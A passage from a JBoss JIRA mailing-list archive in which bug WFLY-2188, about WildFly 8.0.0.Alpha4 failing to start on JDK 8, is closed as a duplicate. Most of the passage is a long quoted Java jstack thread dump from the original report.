	at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
	at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2037)
	at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
	at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1067)
	at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1127)
	at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:617)
	at java.lang.Thread.run(Thread.java:724)

"MSC service thread 1-6" #19 prio=5 os_prio=31 tid=0x00007fd644105800 nid=0x7003 waiting on condition [0x000000011dc27000]
   java.lang.Thread.State: WAITING (parking)
	at sun.misc.Unsafe.park(Native Method)
	- parking to wait for  <0x00000007f6814b78> (a java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject)
	at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
	at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2037)
	at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
	at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1067)
	at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1127)
	at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:617)
	at java.lang.Thread.run(Thread.java:724)

"MSC service thread 1-5" #18 prio=5 os_prio=31 tid=0x00007fd6439c6800 nid=0x6e03 waiting on condition [0x000000011db24000]
   java.lang.Thread.State: WAITING (parking)
	at sun.misc.Unsafe.park(Native Method)
	- parking to wait for  <0x00000007f6814b78> (a java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject)
	at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
	at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2037)
	at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
	at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1067)
	at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1127)
	at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:617)
	at java.lang.Thread.run(Thread.java:724)

"MSC service thread 1-4" #17 prio=5 os_prio=31 tid=0x00007fd646800800 nid=0x6c03 waiting on condition [0x000000011da21000]
   java.lang.Thread.State: WAITING (parking)
	at sun.misc.Unsafe.park(Native Method)
	- parking to wait for  <0x00000007f6814b78> (a java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject)
	at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
	at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2037)
	at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
	at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1067)
	at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1127)
	at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:617)
	at java.lang.Thread.run(Thread.java:724)

"MSC service thread 1-3" #16 prio=5 os_prio=31 tid=0x00007fd6451a4800 nid=0x6a03 waiting on condition [0x000000011d91e000]
   java.lang.Thread.State: WAITING (parking)
	at sun.misc.Unsafe.park(Native Method)
	- parking to wait for  <0x00000007f6814b78> (a java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject)
	at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
	at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2037)
	at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
	at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1067)
	at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1127)
	at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:617)
	at java.lang.Thread.run(Thread.java:724)

"MSC service thread 1-2" #15 prio=5 os_prio=31 tid=0x00007fd64310c000 nid=0x6803 waiting on condition [0x000000011d81b000]
   java.lang.Thread.State: WAITING (parking)
	at sun.misc.Unsafe.park(Native Method)
	- parking to wait for  <0x00000007f6814b78> (a java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject)
	at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
	at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2037)
	at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
	at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1067)
	at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1127)
	at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:617)
	at java.lang.Thread.run(Thread.java:724)

"MSC service thread 1-1" #14 prio=5 os_prio=31 tid=0x00007fd6450e7800 nid=0x6603 waiting on condition [0x000000011d718000]
   java.lang.Thread.State: WAITING (parking)
	at sun.misc.Unsafe.park(Native Method)
	- parking to wait for  <0x00000007f6814b78> (a java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject)
	at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
	at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2037)
	at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
	at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1067)
	at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1127)
	at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:617)
	at java.lang.Thread.run(Thread.java:724)

"Reference Reaper" #10 daemon prio=5 os_prio=31 tid=0x00007fd6450df000 nid=0x6403 in Object.wait() [0x000000011c93f000]
   java.lang.Thread.State: WAITING (on object monitor)
	at java.lang.Object.wait(Native Method)
	- waiting on <0x00000007f6838518> (a java.lang.ref.ReferenceQueue$Lock)
	at java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:142)
	- locked <0x00000007f6838518> (a java.lang.ref.ReferenceQueue$Lock)
	at java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:158)
	at org.jboss.modules.ref.References$ReaperThread.run(References.java:68)

"Service Thread" #9 daemon prio=9 os_prio=31 tid=0x00007fd645009800 nid=0x6003 runnable [0x0000000000000000]
   java.lang.Thread.State: RUNNABLE

"C1 CompilerThread3" #8 daemon prio=9 os_prio=31 tid=0x00007fd643065800 nid=0x5e03 waiting on condition [0x0000000000000000]
   java.lang.Thread.State: RUNNABLE

"C2 CompilerThread2" #7 daemon prio=9 os_prio=31 tid=0x00007fd643065000 nid=0x5c03 waiting on condition [0x0000000000000000]
   java.lang.Thread.State: RUNNABLE

"C2 CompilerThread1" #6 daemon prio=9 os_prio=31 tid=0x00007fd643059000 nid=0x5a03 waiting on condition [0x0000000000000000]
   java.lang.Thread.State: RUNNABLE

"C2 CompilerThread0" #5 daemon prio=9 os_prio=31 tid=0x00007fd643057800 nid=0x5803 waiting on condition [0x0000000000000000]
   java.lang.Thread.State: RUNNABLE

"Signal Dispatcher" #4 daemon prio=9 os_prio=31 tid=0x00007fd643063000 nid=0x5603 runnable [0x0000000000000000]
   java.lang.Thread.State: RUNNABLE

"Finalizer" #3 daemon prio=8 os_prio=31 tid=0x00007fd644050000 nid=0x4603 in Object.wait() [0x000000011bdd7000]
   java.lang.Thread.State: WAITING (on object monitor)
	at java.lang.Object.wait(Native Method)
	- waiting on <0x00000007f6820f98> (a java.lang.ref.ReferenceQueue$Lock)
	at java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:142)
	- locked <0x00000007f6820f98> (a java.lang.ref.ReferenceQueue$Lock)
	at java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:158)
	at java.lang.ref.Finalizer$FinalizerThread.run(Finalizer.java:189)

"Reference Handler" #2 daemon prio=10 os_prio=31 tid=0x00007fd64404f800 nid=0x4403 in Object.wait() [0x000000011bcd4000]
   java.lang.Thread.State: WAITING (on object monitor)
	at java.lang.Object.wait(Native Method)
	- waiting on <0x00000007f68386c0> (a java.lang.ref.Reference$Lock)
	at java.lang.Object.wait(Object.java:502)
	at java.lang.ref.Reference$ReferenceHandler.run(Reference.java:157)
	- locked <0x00000007f68386c0> (a java.lang.ref.Reference$Lock)

"VM Thread" os_prio=31 tid=0x00007fd64404d000 nid=0x4203 runnable 

"GC task thread#0 (ParallelGC)" os_prio=31 tid=0x00007fd64500d000 nid=0x3203 runnable 

"GC task thread#1 (ParallelGC)" os_prio=31 tid=0x00007fd64500e000 nid=0x3403 runnable 

"GC task thread#2 (ParallelGC)" os_prio=31 tid=0x00007fd64500e800 nid=0x3603 runnable 

"GC task thread#3 (ParallelGC)" os_prio=31 tid=0x00007fd64500f000 nid=0x3803 runnable 

"GC task thread#4 (ParallelGC)" os_prio=31 tid=0x00007fd64500f800 nid=0x3a03 runnable 

"GC task thread#5 (ParallelGC)" os_prio=31 tid=0x00007fd645010800 nid=0x3c03 runnable 

"GC task thread#6 (ParallelGC)" os_prio=31 tid=0x00007fd644004800 nid=0x3e03 runnable 

"GC task thread#7 (ParallelGC)" os_prio=31 tid=0x00007fd644005000 nid=0x4003 runnable 

"VM Periodic Task Thread" os_prio=31 tid=0x00007fd645016800 nid=0x6203 waiting on condition 

JNI global references: 74

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Mon Sep 30 18:19:02 2013
From: jira-events at lists.jboss.org (Tomaz Cerar (JIRA))
Date: Mon, 30 Sep 2013 18:19:02 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2188) Wildfly Alpha 4 not starting
	with JDK 8
In-Reply-To: <JIRA.12501881.1380577602000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12501881.1380577602000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12501881.1380577602000.7260.1380579542716@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/WFLY-2188?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Tomaz Cerar closed WFLY-2188.
-----------------------------

    Resolution: Duplicate Issue


is being addressed as part of WFLY-2057
                
> Wildfly Alpha 4 not starting with JDK 8
> ---------------------------------------
>
>                 Key: WFLY-2188
>                 URL: https://issues.jboss.org/browse/WFLY-2188
>             Project: WildFly
>          Issue Type: Bug
>          Components: Server
>    Affects Versions: 8.0.0.Alpha4
>         Environment: Mac, JDK 8 b108
>            Reporter: Arun Gupta
>            Assignee: Jason Greene
>
> Wildfly Alpha 4 is not starting with JDK8. Here is the jstack output:
> 2013-09-30 14:27:06
> Full thread dump Java HotSpot(TM) 64-Bit Server VM (25.0-b50 mixed mode):
> "Attach Listener" #32 daemon prio=9 os_prio=31 tid=0x00007fd647897800 nid=0x4a0b waiting on condition [0x0000000000000000]
>    java.lang.Thread.State: RUNNABLE
> "DestroyJavaVM" #31 prio=5 os_prio=31 tid=0x00007fd646055800 nid=0x80b waiting on condition [0x0000000000000000]
>    java.lang.Thread.State: RUNNABLE
> "Controller Boot Thread" #30 prio=5 os_prio=31 tid=0x00007fd645510800 nid=0x8603 runnable [0x000000011ec48000]
>    java.lang.Thread.State: RUNNABLE
> 	at java.util.concurrent.ConcurrentSkipListMap.findPredecessor(ConcurrentSkipListMap.java:685)
> 	at java.util.concurrent.ConcurrentSkipListMap.doPut(ConcurrentSkipListMap.java:823)
> 	at java.util.concurrent.ConcurrentSkipListMap.putIfAbsent(ConcurrentSkipListMap.java:1962)
> 	at java.util.concurrent.ConcurrentSkipListSet.add(ConcurrentSkipListSet.java:241)
> 	at org.jboss.as.server.DeployerChainAddHandler.addDeploymentProcessor(DeployerChainAddHandler.java:60)
> 	at org.jboss.as.server.ServerService.boot(ServerService.java:284)
> 	at org.jboss.as.controller.AbstractControllerService$1.run(AbstractControllerService.java:245)
> 	at java.lang.Thread.run(Thread.java:724)
> "MSC service thread 1-16" #29 prio=5 os_prio=31 tid=0x00007fd64505c000 nid=0x8403 waiting on condition [0x000000011e645000]
>    java.lang.Thread.State: WAITING (parking)
> 	at sun.misc.Unsafe.park(Native Method)
> 	- parking to wait for  <0x00000007f6814b78> (a java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject)
> 	at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
> 	at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2037)
> 	at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
> 	at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1067)
> 	at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1127)
> 	at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:617)
> 	at java.lang.Thread.run(Thread.java:724)
> "MSC service thread 1-15" #28 prio=5 os_prio=31 tid=0x00007fd645054000 nid=0x8203 waiting on condition [0x000000011e542000]
>    java.lang.Thread.State: WAITING (parking)
> 	at sun.misc.Unsafe.park(Native Method)
> 	- parking to wait for  <0x00000007f6814b78> (a java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject)
> 	at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
> 	at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2037)
> 	at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
> 	at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1067)
> 	at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1127)
> 	at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:617)
> 	at java.lang.Thread.run(Thread.java:724)
> "MSC service thread 1-14" #27 prio=5 os_prio=31 tid=0x00007fd645053800 nid=0x8003 waiting on condition [0x000000011e43f000]
>    java.lang.Thread.State: WAITING (parking)
> 	at sun.misc.Unsafe.park(Native Method)
> 	- parking to wait for  <0x00000007f6814b78> (a java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject)
> 	at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
> 	at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2037)
> 	at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
> 	at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1067)
> 	at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1127)
> 	at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:617)
> 	at java.lang.Thread.run(Thread.java:724)
> "MSC service thread 1-13" #26 prio=5 os_prio=31 tid=0x00007fd6454d8000 nid=0x7e03 waiting on condition [0x000000011e33c000]
>    java.lang.Thread.State: WAITING (parking)
> 	at sun.misc.Unsafe.park(Native Method)
> 	- parking to wait for  <0x00000007f6814b78> (a java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject)
> 	at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
> 	at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2037)
> 	at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
> 	at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1067)
> 	at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1127)
> 	at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:617)
> 	at java.lang.Thread.run(Thread.java:724)
> "MSC service thread 1-12" #25 prio=5 os_prio=31 tid=0x00007fd645133000 nid=0x7c03 waiting on condition [0x000000011e239000]
>    java.lang.Thread.State: WAITING (parking)
> 	at sun.misc.Unsafe.park(Native Method)
> 	- parking to wait for  <0x00000007f6814b78> (a java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject)
> 	at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
> 	at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2037)
> 	at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
> 	at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1067)
> 	at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1127)
> 	at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:617)
> 	at java.lang.Thread.run(Thread.java:724)
> "MSC service thread 1-11" #24 prio=5 os_prio=31 tid=0x00007fd645130000 nid=0x7a03 waiting on condition [0x000000011e136000]
>    java.lang.Thread.State: WAITING (parking)
> 	at sun.misc.Unsafe.park(Native Method)
> 	- parking to wait for  <0x00000007f6814b78> (a java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject)
> 	at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
> 	at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2037)
> 	at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
> 	at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1067)
> 	at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1127)
> 	at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:617)
> 	at java.lang.Thread.run(Thread.java:724)
> "MSC service thread 1-10" #23 prio=5 os_prio=31 tid=0x00007fd645294800 nid=0x7803 waiting on condition [0x000000011e033000]
>    java.lang.Thread.State: WAITING (parking)
> 	at sun.misc.Unsafe.park(Native Method)
> 	- parking to wait for  <0x00000007f6814b78> (a java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject)
> 	at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
> 	at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2037)
> 	at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
> 	at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1067)
> 	at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1127)
> 	at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:617)
> 	at java.lang.Thread.run(Thread.java:724)
> "MSC service thread 1-9" #22 prio=5 os_prio=31 tid=0x00007fd6442fc800 nid=0x7603 waiting on condition [0x000000011df30000]
>    java.lang.Thread.State: WAITING (parking)
> 	at sun.misc.Unsafe.park(Native Method)
> 	- parking to wait for  <0x00000007f6814b78> (a java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject)
> 	at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
> 	at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2037)
> 	at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
> 	at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1067)
> 	at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1127)
> 	at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:617)
> 	at java.lang.Thread.run(Thread.java:724)
> "MSC service thread 1-8" #21 prio=5 os_prio=31 tid=0x00007fd644351800 nid=0x7403 waiting on condition [0x000000011de2d000]
>    java.lang.Thread.State: WAITING (parking)
> 	at sun.misc.Unsafe.park(Native Method)
> 	- parking to wait for  <0x00000007f6814b78> (a java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject)
> 	at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
> 	at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2037)
> 	at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
> 	at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1067)
> 	at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1127)
> 	at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:617)
> 	at java.lang.Thread.run(Thread.java:724)
> "MSC service thread 1-7" #20 prio=5 os_prio=31 tid=0x00007fd6454bc000 nid=0x7203 waiting on condition [0x000000011dd2a000]
>    java.lang.Thread.State: WAITING (parking)
> 	at sun.misc.Unsafe.park(Native Method)
> 	- parking to wait for  <0x00000007f6814b78> (a java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject)
> 	at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
> 	at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2037)
> 	at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
> 	at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1067)
> 	at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1127)
> 	at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:617)
> 	at java.lang.Thread.run(Thread.java:724)
> "MSC service thread 1-6" #19 prio=5 os_prio=31 tid=0x00007fd644105800 nid=0x7003 waiting on condition [0x000000011dc27000]
>    java.lang.Thread.State: WAITING (parking)
> 	at sun.misc.Unsafe.park(Native Method)
> 	- parking to wait for  <0x00000007f6814b78> (a java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject)
> 	at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
> 	at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2037)
> 	at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
> 	at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1067)
> 	at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1127)
> 	at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:617)
> 	at java.lang.Thread.run(Thread.java:724)
> "MSC service thread 1-5" #18 prio=5 os_prio=31 tid=0x00007fd6439c6800 nid=0x6e03 waiting on condition [0x000000011db24000]
>    java.lang.Thread.State: WAITING (parking)
> 	at sun.misc.Unsafe.park(Native Method)
> 	- parking to wait for  <0x00000007f6814b78> (a java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject)
> 	at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
> 	at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2037)
> 	at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
> 	at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1067)
> 	at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1127)
> 	at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:617)
> 	at java.lang.Thread.run(Thread.java:724)
> "MSC service thread 1-4" #17 prio=5 os_prio=31 tid=0x00007fd646800800 nid=0x6c03 waiting on condition [0x000000011da21000]
>    java.lang.Thread.State: WAITING (parking)
> 	at sun.misc.Unsafe.park(Native Method)
> 	- parking to wait for  <0x00000007f6814b78> (a java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject)
> 	at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
> 	at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2037)
> 	at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
> 	at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1067)
> 	at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1127)
> 	at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:617)
> 	at java.lang.Thread.run(Thread.java:724)
> "MSC service thread 1-3" #16 prio=5 os_prio=31 tid=0x00007fd6451a4800 nid=0x6a03 waiting on condition [0x000000011d91e000]
>    java.lang.Thread.State: WAITING (parking)
> 	at sun.misc.Unsafe.park(Native Method)
> 	- parking to wait for  <0x00000007f6814b78> (a java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject)
> 	at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
> 	at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2037)
> 	at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
> 	at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1067)
> 	at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1127)
> 	at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:617)
> 	at java.lang.Thread.run(Thread.java:724)
> "MSC service thread 1-2" #15 prio=5 os_prio=31 tid=0x00007fd64310c000 nid=0x6803 waiting on condition [0x000000011d81b000]
>    java.lang.Thread.State: WAITING (parking)
> 	at sun.misc.Unsafe.park(Native Method)
> 	- parking to wait for  <0x00000007f6814b78> (a java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject)
> 	at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
> 	at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2037)
> 	at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
> 	at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1067)
> 	at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1127)
> 	at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:617)
> 	at java.lang.Thread.run(Thread.java:724)
> "MSC service thread 1-1" #14 prio=5 os_prio=31 tid=0x00007fd6450e7800 nid=0x6603 waiting on condition [0x000000011d718000]
>    java.lang.Thread.State: WAITING (parking)
> 	at sun.misc.Unsafe.park(Native Method)
> 	- parking to wait for  <0x00000007f6814b78> (a java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject)
> 	at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
> 	at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2037)
> 	at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
> 	at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1067)
> 	at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1127)
> 	at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:617)
> 	at java.lang.Thread.run(Thread.java:724)
> "Reference Reaper" #10 daemon prio=5 os_prio=31 tid=0x00007fd6450df000 nid=0x6403 in Object.wait() [0x000000011c93f000]
>    java.lang.Thread.State: WAITING (on object monitor)
> 	at java.lang.Object.wait(Native Method)
> 	- waiting on <0x00000007f6838518> (a java.lang.ref.ReferenceQueue$Lock)
> 	at java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:142)
> 	- locked <0x00000007f6838518> (a java.lang.ref.ReferenceQueue$Lock)
> 	at java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:158)
> 	at org.jboss.modules.ref.References$ReaperThread.run(References.java:68)
> "Service Thread" #9 daemon prio=9 os_prio=31 tid=0x00007fd645009800 nid=0x6003 runnable [0x0000000000000000]
>    java.lang.Thread.State: RUNNABLE
> "C1 CompilerThread3" #8 daemon prio=9 os_prio=31 tid=0x00007fd643065800 nid=0x5e03 waiting on condition [0x0000000000000000]
>    java.lang.Thread.State: RUNNABLE
> "C2 CompilerThread2" #7 daemon prio=9 os_prio=31 tid=0x00007fd643065000 nid=0x5c03 waiting on condition [0x0000000000000000]
>    java.lang.Thread.State: RUNNABLE
> "C2 CompilerThread1" #6 daemon prio=9 os_prio=31 tid=0x00007fd643059000 nid=0x5a03 waiting on condition [0x0000000000000000]
>    java.lang.Thread.State: RUNNABLE
> "C2 CompilerThread0" #5 daemon prio=9 os_prio=31 tid=0x00007fd643057800 nid=0x5803 waiting on condition [0x0000000000000000]
>    java.lang.Thread.State: RUNNABLE
> "Signal Dispatcher" #4 daemon prio=9 os_prio=31 tid=0x00007fd643063000 nid=0x5603 runnable [0x0000000000000000]
>    java.lang.Thread.State: RUNNABLE
> "Finalizer" #3 daemon prio=8 os_prio=31 tid=0x00007fd644050000 nid=0x4603 in Object.wait() [0x000000011bdd7000]
>    java.lang.Thread.State: WAITING (on object monitor)
> 	at java.lang.Object.wait(Native Method)
> 	- waiting on <0x00000007f6820f98> (a java.lang.ref.ReferenceQueue$Lock)
